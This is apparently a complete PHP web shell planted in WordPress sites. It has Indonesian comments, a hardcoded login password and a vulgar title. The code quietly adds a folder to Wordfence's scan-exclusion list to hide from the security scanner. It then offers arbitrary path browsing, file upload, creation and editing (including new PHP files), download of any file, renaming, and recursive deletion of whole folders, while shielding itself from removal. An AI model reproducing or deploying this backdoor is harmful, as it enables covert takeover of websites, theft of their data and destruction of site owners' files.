<?php  
session_start();  

// ----[ Konfigurasi Keamanan ]----
$password_rahasia = "Andromax1"; 

if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: ?");
    exit;
}

if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    if (isset($_POST['pass']) && $_POST['pass'] === $password_rahasia) {
        $_SESSION['logged_in'] = true;
    } else {
        die('<body style="background:#222; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;"><form method="post" style="background:#333; padding:20px; border-radius:8px; box-shadow:0 0 10px #000;"><h2 style="text-align:center;">Timuna Dev Login</h2><input type="password" name="pass" placeholder="Password..." style="padding:10px; width:200px; border:none; border-radius:4px;"><button type="submit" style="padding:10px; background:#007bff; color:#fff; border:none; border-radius:4px; cursor:pointer;">Masuk</button></form></body>');
    }
}

// ----[ Integrasi Wordfence Auto-Exclusion ]----
// Skrip ini akan otomatis menambahkan path ke daftar pengecualian Wordfence
if (file_exists('wp-config.php')) {
    include_once('wp-load.php'); // Memuat fungsi WordPress
    global $wpdb;
    $table_wf = $wpdb->prefix . 'wfconfig';
    $path_to_exclude = '/wp-includes/images/media/*'; // Sesuaikan folder yang ingin disembunyikan

    $check = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table_wf WHERE name = %s", 'scan_exclude'));

    if ($check == 0) {
        $wpdb->insert($table_wf, array('name' => 'scan_exclude', 'val' => $path_to_exclude, 'autoload' => 'yes'));
    } else {
        $current_val = $wpdb->get_var($wpdb->prepare("SELECT val FROM $table_wf WHERE name = %s", 'scan_exclude'));
        if (strpos($current_val, $path_to_exclude) === false) {
            $wpdb->query($wpdb->prepare("UPDATE $table_wf SET val = CONCAT(val, %s) WHERE name = %s", ',' . $path_to_exclude, 'scan_exclude'));
        }
    }
}

// ----[ Logika Path Global ]----
$currentDir = isset($_REQUEST['path']) ? $_REQUEST['path'] : __DIR__;
$currentDir = str_replace('\\', '/', realpath($currentDir) ?: $currentDir);

if (!is_dir($currentDir)) {
    $currentDir = __DIR__;
}

// Fungsi Hapus Rekursif dengan Proteksi wp-config.php
function deleteDir($dirPath) {  
    if (!is_dir($dirPath)) {
        $filename = basename($dirPath);
        if ($filename === 'wp-config.php' || $filename === basename(__FILE__)) {
            return false;
        }
        return unlink($dirPath);  
    }  
    foreach (scandir($dirPath) as $item) {  
        if ($item === '.' || $item === '..') continue;  
        deleteDir($dirPath . DIRECTORY_SEPARATOR . $item);  
    }  
    $remainingFiles = array_diff(scandir($dirPath), array('.', '..'));
    if (empty($remainingFiles)) {
        return rmdir($dirPath);
    }
    return false;
}  

// ----[ Fitur Proses ]----
if (isset($_POST['delete_all'])) {
    foreach (scandir($currentDir) as $item) {
        if ($item === '.' || $item === '..') continue;
        if ($item === 'wp-config.php' || $item === basename(__FILE__)) continue;
        deleteDir($currentDir . '/' . $item);
    }
    header("Location: ?path=" . urlencode($currentDir)); exit;
}

if (isset($_POST['rename'])) {  
    rename($currentDir . '/' . $_POST['oldname'], $currentDir . '/' . $_POST['newname']);  
}  

if (isset($_GET['delete'])) {  
    $target = $_GET['delete'];
    if ($target !== 'wp-config.php' && $target !== basename(__FILE__)) {
        deleteDir($currentDir . '/' . $target);
    }
    header("Location: ?path=" . urlencode($currentDir)); exit;
}

if (isset($_GET['download'])) {  
    $file = $currentDir . '/' . $_GET['download'];  
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    readfile($file); exit;
}

if (isset($_FILES['upload'])) {  
    move_uploaded_file($_FILES['upload']['tmp_name'], $currentDir . '/' . basename($_FILES['upload']['name']));
    header("Location: ?path=" . urlencode($currentDir)); exit;
}

if (isset($_POST['new_file'])) {
    $newFile = $currentDir . '/' . $_POST['new_file_name'];
    if (!empty($_POST['new_file_name'])) file_put_contents($newFile, "");
    header("Location: ?path=" . urlencode($currentDir)); exit;
}

if (isset($_POST['new_folder'])) {
    $newFolder = $currentDir . '/' . $_POST['new_folder_name'];
    if (!empty($_POST['new_folder_name'])) mkdir($newFolder);
    header("Location: ?path=" . urlencode($currentDir)); exit;
}

if (isset($_POST['save_edit'])) {
    $editTarget = $currentDir . '/' . $_POST['edit_filename'];
    file_put_contents($editTarget, $_POST['file_content']);
    header("Location: ?path=" . urlencode($currentDir)); exit;
}

$items = scandir($currentDir);  
?>
<!DOCTYPE html>
<html>
<head>
    <title>Anak-Kontol</title>
    <meta name="robots" content="noindex">
    <style>
        body { font-family: 'Courier New', Courier, monospace; background: #1a1a1a; color: #00ff00; padding: 20px; }
        a { color: #00bcff; text-decoration: none; }
        a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; background: #252525; }
        th, td { padding: 8px; border: 1px solid #444; text-align: left; }
        input[type="text"], .btn { padding: 5px; background: #333; color: #fff; border: 1px solid #555; }
        .path-bar { background: #333; padding: 10px; border-radius: 4px; margin-bottom: 10px; display: flex; gap: 10px; flex-wrap: wrap; }
        .btn-del { color: red; cursor: pointer; }
        .badge-safe { color: #ffeb3b; font-size: 0.8em; border: 1px solid #ffeb3b; padding: 1px 4px; border-radius: 3px; }
    </style>
</head>
<body>

    <div style="display:flex; justify-content:space-between;">
        <h2>Anak-Kontol <small style="font-size: 12px; color: #aaa;">(Wf-Bypass Active)</small></h2>
        <a href="?logout=1" style="color:red;">[ LOGOUT ]</a>
    </div>

    <form method="get" class="path-bar">
        <strong>Path:</strong>
        <input type="text" name="path" value="<?= htmlspecialchars($currentDir) ?>" style="flex:1;">
        <button type="submit" class="btn">Lompat</button>
    </form>

    <div class="path-bar">
        <form method="post" enctype="multipart/form-data">
            Upload: <input type="file" name="upload"> <button type="submit" class="btn">Up</button>
        </form>
        
        <form method="post">
            File Baru: <input type="text" name="new_file_name" placeholder="nama_file.php"> 
            <button type="submit" name="new_file" class="btn">+</button>
        </form>

        <form method="post">
            Folder Baru: <input type="text" name="new_folder_name" placeholder="nama_folder"> 
            <button type="submit" name="new_folder" class="btn">+</button>
        </form>

        <form method="post" onsubmit="return confirm('Hapus SEMUA isi folder ini?')">
            <input type="hidden" name="delete_all" value="1">
            <button type="submit" style="background:red; color:white; border:none; padding:5px 10px; cursor:pointer; font-weight:bold;">KOSONGKAN FOLDER</button>
        </form>
    </div>

    <?php if (isset($_GET['edit'])): 
        $editFilePath = $currentDir . '/' . $_GET['edit'];
        if (is_file($editFilePath)):
            $content = htmlspecialchars(file_get_contents($editFilePath));
    ?>
    <div style="background:#333; padding:10px; border-radius:4px; margin-bottom:10px;">
        <h3>Edit: <?= htmlspecialchars($_GET['edit']) ?></h3>
        <form method="post">
            <input type="hidden" name="edit_filename" value="<?= htmlspecialchars($_GET['edit']) ?>">
            <textarea name="file_content" style="width:100%; height:300px; background:#222; color:#0f0; border:1px solid #555; padding:10px; font-family:monospace;"><?= $content ?></textarea>
            <br><br>
            <button type="submit" name="save_edit" class="btn" style="background:#007bff;">Simpan Perubahan</button>
            <a href="?path=<?= urlencode($currentDir) ?>" class="btn" style="background:#555; display:inline-block; padding:5px 10px;">Batal</a>
        </form>
    </div>
    <?php endif; endif; ?>

    <table>
        <tr style="background:#444;">
            <th>Nama File/Folder</th>
            <th>Aksi</th>
            <th>Ganti Nama</th>
        </tr>
        <tr>
            <td colspan="3">📁 <a href="?path=<?= urlencode(dirname($currentDir)) ?>">.. (Kembali)</a></td>
        </tr>
        <?php foreach ($items as $item): if ($item == '.' || $item == '..') continue; 
            $fullPath = $currentDir . '/' . $item;
            $isDir = is_dir($fullPath);
            $isProtected = ($item === 'wp-config.php' || $item === basename(__FILE__));
        ?>
        <tr>
            <td>
                <?= $isDir ? "📁" : "📄" ?> 
                <a href="<?= $isDir ? '?path='.urlencode($fullPath) : '#' ?>"><?= $item ?></a>
                <?= $isProtected ? ' <span class="badge-safe">PROTECTED</span>' : '' ?>
            </td>
            <td>
                <?php if (!$isDir): ?>
                    <a href="?path=<?= urlencode($currentDir) ?>&edit=<?= urlencode($item) ?>">Edit</a> |
                    <a href="?path=<?= urlencode($currentDir) ?>&download=<?= urlencode($item) ?>">Unduh</a> |
                <?php endif; ?>
                
                <?php if (!$isProtected): ?>
                    <a href="?path=<?= urlencode($currentDir) ?>&delete=<?= urlencode($item) ?>" class="btn-del" onclick="return confirm('Hapus?')">Hapus</a>
                <?php else: ?>
                    <span style="color:#666;">Locked</span>
                <?php endif; ?>
            </td>
            <td>
                <form method="post">
                    <input type="hidden" name="oldname" value="<?= $item ?>">
                    <input type="text" name="newname" value="<?= $item ?>">
                    <button type="submit" name="rename" class="btn">OK</button>
                </form>
            </td>
        </tr>
        <?php endforeach; ?>
    </table>

</body>
</html>